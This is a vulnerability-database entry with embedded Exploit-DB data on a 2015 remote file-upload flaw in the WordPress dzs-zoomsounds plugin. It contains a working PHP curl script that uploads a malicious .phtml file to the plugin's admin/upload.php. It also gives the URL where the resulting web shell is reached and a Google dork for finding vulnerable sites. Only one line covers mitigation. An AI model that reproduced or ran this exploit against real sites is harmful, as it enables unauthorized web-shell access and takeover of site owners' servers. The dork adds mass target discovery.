WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability

vendor:

WordPress dzs-zoomsounds Plugins

by:

bl4ck-dz

7.5

CVSS

HIGH

Remote File Upload Vulnerability

434

CWE

Product Name: WordPress dzs-zoomsounds Plugins

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux | Windows

2015

WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability

A vulnerability in the WordPress dzs-zoomsounds plugin allows an attacker to upload a malicious file to the server. The vulnerable file is upload.php, which is located in the admin folder of the plugin. An attacker can use a malicious file such as dz.phtml and upload it to the server using the upload.php file. The malicious file can then be accessed via the URL http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload/$Evil

Mitigation:

Update to the latest version of the WordPress dzs-zoomsounds plugin and ensure that all files are properly secured.

Source

Exploit-DB raw data:

###################################################################################################
# Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability
# Vendor : http://digitalzoomstudio.net/docs/wpzoomsounds/
# Author: bl4ck-dz
# Date: 28/05/2015
# Infected File: upload.php
# Category: webapps
# Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/
# Tested on : Linux | Windows
###################################################################################################
<?php 
$evil="dz.phtml"; 
$ch = curl_init("http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('file_field'=>"@$evil")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); curl_close($ch); 
echo "$postResult"; 
?>
Shell Access :
http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload/$Evil

# GreeTz : Akram Stelle ~ Mr DZ ~ All DzTeaM Members & all all Dz H4x0rs !